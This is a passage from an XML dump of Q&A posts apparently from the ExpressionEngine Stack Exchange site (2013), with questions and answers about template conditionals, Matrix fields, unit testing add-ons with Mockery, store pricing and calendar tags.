to the core to make this happen.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The following is based on EE 2.7.2, but should be similar for older versions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Make the modification in /system/expressionengine/controllers/cp/members.php. Around line 2170 inside the new_member_form() method you just need to add a &quot;required&quot; rule to the validation on the &quot;screen_name&quot; field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the rules for screen_name should look like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;'rules' =&amp;gt; 'required|trim|valid_screen_name[new]'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="22" LastEditorUserId="22" LastEditDate="2013-11-20T15:15:22.100" LastActivityDate="2013-11-20T15:15:22.100" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="16911" PostTypeId="1" AcceptedAnswerId="16920" CreationDate="2013-11-19T18:05:55.750" Score="2" ViewCount="151" Body="&lt;p&gt;I'm attempting to write unit tests for my EE module using &lt;a href=&quot;https://github.com/padraic/mockery&quot; rel=&quot;nofollow noreferrer&quot;&gt;Mockery&lt;/a&gt;. Throughout my module code I have lines like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;EE-&amp;gt;db-&amp;gt;select('channel_title, channel_id');&#xA;$this-&amp;gt;EE-&amp;gt;db-&amp;gt;from('exp_channels');&#xA;$query = $this-&amp;gt;EE-&amp;gt;db-&amp;gt;get();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Of course when I am attempting to test my functions I don't want to actually load the EE framework, I rather want this db object to be a mock. But I can't set variables on mocks, so Mockery can't tell the function under test that when it looks at &lt;code&gt;EE-&amp;gt;db&lt;/code&gt; it should actually use my mock. Based on &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/10828/how-to-unit-test-addons-plugins-and-extentions&quot;&gt;this answer&lt;/a&gt; it seems like in order to use Mockery I'll have to rewrite the above code to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function db() { return $this-&amp;gt;EE-&amp;gt;db}&#xA;&#xA;db()-&amp;gt;select('channel_title, channel_id');&#xA;db()-&amp;gt;from('exp_channels');&#xA;$query = db()-&amp;gt;get();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is this my only option? Have I missed some trick for how to get Mockery to mock variables too?&lt;/p&gt;&#xA;" OwnerUserId="1235" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.553" LastActivityDate="2013-11-19T21:15:48.887" Title="Testing add-on with Mockery without rewriting all $this-&gt;EE-&gt;db calls?" Tags="|php|module|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16912" PostTypeId="1" AcceptedAnswerId="17018" CreationDate="2013-11-19T18:22:37.507" Score="1" ViewCount="99" Body="&lt;p&gt;I have a Matrix field that I'm using the search parameter on. Within the output I need to grab the actual &lt;code&gt;{row_count}&lt;/code&gt; associated with each row based on the order the row appears within the CP-based entry and not the order associated with the filtered results. It seems like the &lt;code&gt;{field_row_count}&lt;/code&gt; variable should give me exactly what I need, but it's not working as expected. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a simplified sample of the code: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{cf_project_images search:categories=&quot;{segment_category_ids_piped}&quot; }&#xA;    &amp;lt;h2&amp;gt;&amp;lt;a href=&quot;/portfolio/detail/{url_title}/{field_row_count}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/h2&amp;gt;&#xA;{/cf_project_images}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As an example: The sample I'm testing has 4 rows within the Matrix field. Using the search parameter I'm only returning 1 of those 4 rows. If the row that is returned is the 4th row I would expect the value of &lt;code&gt;{field_row_count}&lt;/code&gt; to be 4, but it's returning as 1. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I misinterpreting the way the &lt;code&gt;{field_row_count}&lt;/code&gt; variable works? &lt;/p&gt;&#xA;" OwnerUserId="263" LastActivityDate="2013-11-22T05:49:46.047" Title="Get Matrix {field_row_count} when using the search parameter." Tags="|matrix|pixelandtonic|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16913" PostTypeId="1" AcceptedAnswerId="17067" CreationDate="2013-11-19T18:37:21.353" Score="1" ViewCount="130" Body="&lt;p&gt;I am using Exp:resso Store 1.6.4. We developed stuff so that when a user purchases a product they will, as Zoo Visitor members, acquire the categories associated with that product. We now want to apply a discount to a product provided they have a certain category. Right now I'm looking for the simplest way to do this that remains secure, i.e. the user cannot change anything around. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently our purchase process is a price/description page with a register button (this is the Product Tag/form with a specified entry_id and empty_cart (is there any way to lock empty_cart, i.e. prevent it from being changed?)). Clicking the register button takes them to the checkout page which shows their member registration (if a guest) details, billing details, order details, and payment method.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I create a product modifier that affects the price, anyone can add that modifier to the Product Tag's form. If I create another product anyone can change the hidden input's entry id to that of the new product. How can we securely lock down a price? Is there a way to, e.g. enable/use Sale Price while it's not enabled? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;actually while writing this I realized at least for now I can attempt to check the details on the membership details on the Checkout page for this one specific product... but that's not really going to be feasible down the line.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone have ideas for a quick fix? Don't have time to build add-ons for this kind of feature at the moment (and won't have time probably up until next year). But if you have an idea how to take that route I'm all ears, too.&lt;/p&gt;&#xA;" OwnerUserId="61" LastActivityDate="2013-11-23T00:56:05.803" Title="Change Product Price based on Membership?" Tags="|expresso-store|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16914" PostTypeId="2" ParentId="16912" CreationDate="2013-11-19T18:38:09.670" Score="0" Body="&lt;p&gt;Can you use {row_id} instead? I think the count you're getting is based on the way the search aspect works with the returned results.&lt;/p&gt;&#xA;" OwnerUserId="367" LastActivityDate="2013-11-19T18:38:09.670" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16915" PostTypeId="5" CreationDate="2013-11-19T18:44:34.983" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2013-11-19T18:44:34.983" LastActivityDate="2013-11-19T18:44:34.983" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16916" PostTypeId="4" CreationDate="2013-11-19T18:44:34.983" Score="0" Body="MX *Title Control allows you to change the *Title &amp; URL title field label for each of channel and (optional) for each of languages and also change default field length for Title and URL_Title fields. You can also setup Title &amp; URL Title auto generation based on patterns. " OwnerUserId="197" LastEditorUserId="197" LastEditDate="2013-11-19T19:44:22.693" LastActivityDate="2013-11-19T19:44:22.693" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16917" PostTypeId="1" AcceptedAnswerId="16921" CreationDate="2013-11-19T19:40:05.703" Score="2" ViewCount="83" Body="&lt;p&gt;I would like to customize a Publish Layout on a channel that uses MX Title Control but it won't let me save my layout because it errors out with &quot;Title field cannot be hidden&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any workarounds available?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="659" LastActivityDate="2013-12-05T14:33:21.047" Title="Cannot use Publish Layouts because &quot;Title field cannot be hidden&quot;" Tags="|mx-title-control|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16918" PostTypeId="2" ParentId="15333" CreationDate="2013-11-19T20:22:27.690" Score="4" Body="&lt;p&gt;If somebody will have the same error - check if you have Solspace FreeForm . I had the same  issue because of this (FreeForm v.4.0.4). Fix - temporary remove freeform folder. You can return it back after update will finish. &lt;/p&gt;&#xA;" OwnerUserId="932" LastEditorUserId="932" LastEditDate="2013-11-19T21:23:11.230" LastActivityDate="2013-11-19T21:23:11.230" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16919" PostTypeId="2" ParentId="16917" CreationDate="2013-11-19T20:38:58.117" Score="0" Body="&lt;p&gt;I got around this by using Chrome's Inspector and making the field visible just by adding some CSS to it. This let me save the new layout. Then when the page is reloaded it's hidden again.&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2013-11-19T20:38:58.117" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16920" PostTypeId="2" ParentId="16911" CreationDate="2013-11-19T21:15:48.887" Score="2" Body="&lt;p&gt;Yeah, that's one of your options. It's almost pointless testing code that way though, it would be very brittle. However, to get Mockery to access the global EE object, you simply need to set it up in your class's constructor:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function __construct($ee = null)&#xA;{&#xA;    $this-&amp;gt;EE = $ee ?: get_instance();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That way, in your unit tests, you can inject the dependency like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$mock_ee = m::mock('ee');&#xA;$mock_ee-&amp;gt;db = m::mock('ee_db');&#xA;&#xA;$module = new My_module($mock_ee);&#xA;// tests here&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The other alternative is you will need to spin up most of the EE core inside your unit tests, and tie it to a real database. Ideally reset the test database at the start of each test run, and run each test inside a transaction so that it doesn't affect your data. I'd definitely recommend this method rather than trying to mock the entire database object, because then you are testing the outcome of the function rather than just the contents of the function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I haven't yet figured out the easiest way to do this (bootstrap EE from the console without rendering a page), but I'm sure it would be possible without too much work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In Store 2, I solved this problem by using the &lt;a href=&quot;http://four.laravel.com/docs/eloquent&quot; rel=&quot;nofollow&quot;&gt;Eloquent ORM&lt;/a&gt; to handle the database layer. In the unit tests, I simply load Eloquent and connect it to a test database, without loading the rest of EE. Then I stub out any other calls to EE libraries using Mockery.&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2013-11-19T21:15:48.887" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16921" PostTypeId="2" ParentId="16917" CreationDate="2013-11-19T21:19:39.523" Score="5" Body="&lt;p&gt;Solutions is &lt;a href=&quot;https://github.com/MaxLazar/mx-title-control&quot;&gt;MX Title Control 2.8.7&lt;/a&gt;.&#xA;Now Title field will be visible when toolbar is open.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you will have any errors with this version - send me email.&lt;/p&gt;&#xA;" OwnerUserId="932" LastActivityDate="2013-11-19T21:19:39.523" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16922" PostTypeId="1" AcceptedAnswerId="16945" CreationDate="2013-11-19T21:38:18.897" Score="3" ViewCount="646" Body="&lt;p&gt;The &lt;a href=&quot;http://eeharbor.com/transcribe/documentation&quot; rel=&quot;nofollow&quot;&gt;Transcribe documentation&lt;/a&gt; about the language_link tag:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Using the entry_id parameter in conjunction with the has_entry&#xA;  parameter will only output links for languages that have entries&#xA;  related to the entry_id passed in&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I can't get it to work, and no example to be found. The documentation mixes variables and tag parameters, it's not clear.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Anybody here that knows how to only show a language link when the current viewed entry has an entry for that language?&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="1020" LastActivityDate="2013-11-20T14:09:37.237" Title="How to show Transcribe language links only if it has entries?" Tags="|transcribe|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16923" PostTypeId="2" ParentId="16815" CreationDate="2013-11-19T22:05:27.347" Score="0" Body="&lt;p&gt;Recently I spent an hour trying to sort out a similar problem and had forgotten I had Dev Demons Smart Switch installed (which I was using for the first time).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Great add-on by the way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.devdemon.com/smart_switch/&quot; rel=&quot;nofollow&quot;&gt;http://www.devdemon.com/smart_switch/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="165" LastActivityDate="2013-11-19T22:05:27.347" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16924" PostTypeId="1" AcceptedAnswerId="16928" CreationDate="2013-11-19T23:01:05.730" Score="2" ViewCount="96" Body="&lt;p&gt;The login password does not save when I login in ether Chrome or Safari (on Mac). I am running 2.7. This is a pain in the ass when I am developing, I need to login 25 times a day with my password. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;On an older site I built last year it remembers my login both user name and password. This site is 2.52. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It there a security setting that has changed between 2.5 and 2.7, and if so can I change  it, especially durning the development stage while I am in development mode. I would most likely change it back when I turn it over to the client. I have looked but to no avail. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks, making me crazy. &lt;/p&gt;&#xA;" OwnerUserId="1330" LastActivityDate="2013-11-20T04:11:56.007" Title="Login Password Does Not Save" Tags="|login|security|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16925" PostTypeId="1" AcceptedAnswerId="16939" CreationDate="2013-11-20T01:54:50.333" Score="1" ViewCount="61" Body="&lt;p&gt;We need to tell whether the user has chosen a specific date or has just defaulted to our calendar:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;example.com/calendar&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;example.com/calendar/11/31/2013&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;We're trying the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if segment_2 == &quot;&quot;}&#xA;  {exp:calendar:cal date_range_start=&quot;today&quot; date_range_end=&quot;today&quot; show_days=&quot;1&quot; pad_short_weeks=&quot;n&quot;}&#xA;{if:else}&#xA;  {exp:calendar:cal date_range_start=&quot;{segment_4}-{segment_2}-{segment_3}&quot; date_range_end=&quot;{segment_4}-{segment_2}-{segment_3}&quot; show_days=&quot;1&quot; pad_short_weeks=&quot;n&quot;}&#xA;{/if}&#xA;  ... do stuff with the events for the given day here.&#xA;{/exp:calendar:cal}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When we go to the &lt;code&gt;/calendar&lt;/code&gt; page all of the data returned is fine, however, when we go to a specific date page, the data returned is for the current day (ie the data that's returned on the &lt;code&gt;/calendar&lt;/code&gt; page).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anybody know as to why this is happening?&lt;/p&gt;&#xA;" OwnerUserId="1931" LastActivityDate="2013-11-21T02:01:22.237" Title="Solspace Calendar - Issues with surrounding beginning of cal loops with conditionals" Tags="|solspace|solspace-calendar|calendar|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16926" PostTypeId="1" CreationDate="2013-11-20T03:58:01.790" Score="2" ViewCount="285" Body="&lt;p&gt;I have this code&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_replace find=&quot;\r|\n|\t&quot; replace=&quot;&quot; regex=&quot;yes&quot;}&#xA;    {if '{member_group}' == 7}&#xA;        aaa&#xA;    {if:else}&#xA;        zzz&#xA;    {/if}&#xA;    {if '{logged_in_member_group}' != 7}&#xA;        bb&#xA;    {if:else}&#xA;        yyy&#xA;    {/if}&#xA;    {if {logged_in_member_group} == '7'}&#xA;        ccc&#xA;    {if:else}&#xA;        xxx&#xA;    {/if}&#xA;    {if {logged_in_member_group} != '7'}&#xA;        dddd&#xA;    {if:else}&#xA;        www&#xA;    {/if}&#xA;    {member_group}&#xA;{/exp:low_replace}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The output is&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;zzz yyy xxx www 7&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is weird because the output of &lt;code&gt;{member_group}&lt;/code&gt; is 7.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why are the conditionals not matching?&lt;/p&gt;&#xA;" OwnerUserId="636" LastEditorUserId="69" LastEditDate="2013-11-23T20:27:42.370" LastActivityDate="2013-11-23T20:27:42.370" Title="Conditional not working as expected" Tags="|conditionals|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16928" PostTypeId="2" ParentId="16924" CreationDate="2013-11-20T04:11:56.007" Score="2" Body="&lt;p&gt;Change the Control Panel Session type to Cookies Only: &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/cp/admin/security_settings.html&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/cp/admin/security_settings.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will get a Remember Me checkbox showing on the login screen. &lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2013-11-20T04:11:56.007" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16929" PostTypeId="1" AcceptedAnswerId="17005" CreationDate="2013-11-20T04:20:40.080" Score="2" ViewCount="67" Body="&lt;p&gt;Encountering a some odd issues attempting to submit changes on in the CP of an ExpressionEngine 2.7.2 site. Instead of saving the changes and displaying the success message, I'm bounced to a non-existent URL and the landing page of my site is displayed instead.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;URL FOR ENTRY:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;/system/index.php?S=b6fd020cbb7cc1f54675bce25372a17b&amp;amp;D=cp&amp;amp;C=content_publish&amp;amp;M=entry_form&amp;amp;channel_id=1&amp;amp;entry_id=1&amp;amp;&amp;amp;filter=YToxOntzOjEwOiJjaGFubmVsX2lkIjtzOjE6IjEiO30=&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;URL FOR NON-EXISTENT PAGE&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;/system/index.php?S=b6fd020cbb7cc1f54675bce25372a17b&amp;amp;D=cp&amp;amp;C=content_publish&amp;amp;M=entry_form&amp;amp;channel_id=1&amp;amp;entry_id=1&amp;amp;filter=YToxOntzOjEwOiJjaGFubmVsX2lkIjtzOjE6IjEiO30%3D&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Notice how the first URL has double ampersands right before the filter (entry_id=1&amp;amp;&amp;amp;filter=) and the URL of the second domain ends not with an = sign but with %3D.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've see this error in two separate instances:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) In a particular textarea field (in a field group which only contains five fields), entering more than 327 characters will trigger the error — even if all of the other fields are empty.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) Adding new fields to a channel field group, regardless of whether it's a brand-new field group or simply adding a field to an existing group.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Disabling extensions (via the config.php file) is having no impact and the logs are not giving any meaningful data.&lt;/p&gt;&#xA;" OwnerUserId="120" LastEditorUserId="120" LastEditDate="2013-11-20T12:05:30.153" LastActivityDate="2013-11-21T21:25:57.867" Title="Submitting Entry Edits Routes to a Non-Existent Page" Tags="|channel|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16931" PostTypeId="2" ParentId="16929" CreationDate="2013-11-20T04:38:52.917" Score="1" Body="&lt;p&gt;I think this is related to a weird URL or some other piece of content in the entry. I've seen similar issues a couple times. Start removing copy a chunk at a time till you find it. &lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2013-11-20T04:38:52.917" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16933" PostTypeId="2" ParentId="16761" CreationDate="2013-11-20T06:27:20.217" Score="2" Body="&lt;p&gt;Double check this parameter to make sure the template is named &quot;user-request&quot;:  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;recipient_template=&quot;user-request&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Also, try recoding your select like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;select name=&quot;recipient_email&quot; id=&quot;recipient_email&quot;&amp;gt;&#xA;    &amp;lt;option value=&quot;{freeform:recipient_value1}&quot;&amp;gt;Option&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&quot;{freeform:recipient_value2}&quot;&amp;gt;Option&amp;lt;/option&amp;gt;&#xA;&amp;lt;/select&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="28" LastActivityDate="2013-11-20T06:27:20.217" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16934" PostTypeId="2" ParentId="16761" CreationDate="2013-11-20T08:08:55.707" Score="1" Body="&lt;p&gt;If the communicate module isn't delivering emails either then try setting up the SMTP option under admin&gt;email.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also make sure you have set a default email address within EE (can't recall where that's set)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally, are the email addresses from the same domain... me@mysite.com &amp;amp; www.mysite.com.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Failing all those, reach out to your host to see if they allow or have available the php mail module. Also check your sites error logs, long shot but you never know.&lt;/p&gt;&#xA;" OwnerUserId="166" LastActivityDate="2013-11-20T08:08:55.707" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16935" PostTypeId="2" ParentId="11420" CreationDate="2013-11-20T09:22:20.033" Score="1" Body="&lt;p&gt;Just had this precise problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Rummaged around and did a &lt;em&gt;little&lt;/em&gt; hack to make this work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Open this file&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;/system/expressionengine/libraries/relationship_parser/Parser.php&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Look for:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;$rows[$entry_id] = $data;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you simply move this line to be the last line inside the foreach loop that starts&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;foreach ($entry_ids as $entry_id)&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then it works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your script may differ slightly, but my line moved from line #475 to line #520&lt;/p&gt;&#xA;" OwnerUserId="2313" LastActivityDate="2013-11-20T09:22:20.033" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16936" PostTypeId="2" ParentId="16926" CreationDate="2013-11-20T09:32:01.293" Score="6" Body="&lt;p&gt;Member defined variables like &lt;code&gt;{member_group}&lt;/code&gt; are &lt;strong&gt;parsed last&lt;/strong&gt; by default, so your advanced (not simple) conditionals will never properly read the member data. &lt;a href=&quot;http://loweblog.com/downloads/ee-parse-order.pdf&quot;&gt;View parse order pdf by Low&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You need to install an add-on to move the parsing of the member defined variables earlier. Try Low Variables, Mo' Variables, or any other add-on that has this feature.&lt;/p&gt;&#xA;" OwnerUserId="69" LastEditorUserId="69" LastEditDate="2013-11-20T10:07:38.203" LastActivityDate="2013-11-20T10:07:38.203" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16937" PostTypeId="2" ParentId="15333" CreationDate="2013-11-20T09:53:53.573" Score="0" Body="&lt;p&gt;Go to &lt;code&gt;/system/expressionengine/config/config.php&lt;/code&gt; and on line 14 or so you'll see &lt;code&gt;$config['app_version']&lt;/code&gt; and make sure it equals 272 (no periods)&lt;/p&gt;&#xA;" OwnerUserId="1994" LastActivityDate="2013-11-20T09:53:53.573" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16938" PostTypeId="1" CreationDate="2013-11-20T10:25:39.763" Score="1" ViewCount="103" Body="&lt;p&gt;I am building a gift certificate item and am using gift voucher options as modifiers.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It all works great.  However, I need to output those modifier values into a template in a particular design – as such, I want to get values of particular modifiers. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, I have a modifier, system called this  ‘modifiers_6’ - I can only get its value when I use the modifiers loop – but I also get all other modifiers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Was hoping is could be like {modifiers_6:modifier_value} - I wrapped the modifiers and items loop tags around this but no luck.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas? How do I target specific modifiers without using the whole loop?&lt;/p&gt;&#xA;" OwnerUserId="1507" LastActivityDate="2013-11-21T12:36:36.747" Title="Get value of a specific modifier?" Tags="|expresso-store|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16939" PostTypeId="2" ParentId="16925" CreationDate="2013-11-20T11:19:15.223" Score="5" Body="&lt;p&gt;Just simple conditionals are parsed before the modules and plugins. Simple ones are the conditionals using just &lt;code&gt;if&lt;/code&gt; and just early parsed variables. &lt;code&gt;segment_N&lt;/code&gt; are early parsed variables, but your conditionals have an &lt;code&gt;if:else&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, try this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if segment_2 == &quot;&quot;}&#xA;  {exp:calendar:cal date_range_start=&quot;today&quot; date_range_end=&quot;today&quot; show_days=&quot;1&quot; pad_short_weeks=&quot;n&quot;}&#xA;{/if}&#xA;{if segment_2}&#xA;  {exp:calendar:cal date_range_start=&quot;{segment_4}-{segment_2}-{segment_3}&quot; date_range_end=&quot;{segment_4}-{segment_2}-{segment_3}&quot; show_days=&quot;1&quot; pad_short_weeks=&quot;n&quot;}&#xA;{/if}&#xA;  ... do stuff with the events for the given day here.&#xA;{/exp:calendar:cal}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:calendar:cal &#xA;    {if segment_2 == &quot;&quot;}&#xA;        date_range_start=&quot;today&quot; date_range_end=&quot;today&quot;&#xA;    {/if}&#xA;    {if segment_2}&#xA;        date_range_start=&quot;{segment_4}-{segment_2}-{segment_3}&quot; date_range_end=&quot;{segment_4}-{segment_2}-{segment_3}&quot;&#xA;    {/if} &#xA;    show_days=&quot;1&quot; &#xA;    pad_short_weeks=&quot;n&quot;&#xA;}&#xA;  ... do stuff with the events for the given day here.&#xA;{/exp:calendar:cal}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.derekallard.com/blog/post/simple-vs-complex-conditionals-in-expressionengine-templates&quot; rel=&quot;nofollow&quot;&gt;This article about this subject&lt;/a&gt; is really good.&lt;/p&gt;&#xA;" OwnerUserId="343" LastEditorUserId="343" LastEditDate="2013-11-21T02:01:22.237" LastActivityDate="2013-11-21T02:01:22.237" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16940" PostTypeId="1" AcceptedAnswerId="16984" CreationDate="2013-11-20T11:57:49.730" Score="1" ViewCount="190" Body="&lt;p&gt;I'm working on a project where the client wants to be able to upload new page background images and then select one for each page/section of the site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A solution I thought might solve this would be to have a grid field allowing for the uploading of the images, say up to 10 rows. Then add in another select list field that is populated from the previous grid field. I could then take that selected value and change the background image via css.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As the grid field is quite new I'm not sure if this is possible?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, if there is a better way of solving this please advise too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="1339" LastEditorUserId="1339" LastEditDate="2013-11-20T12:17:00.217" LastActivityDate="2013-11-21T10:25:12.003" Title="Is it possible to populate a select list field from another grid field?" Tags="|channel|fieldtype|fields|grid|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
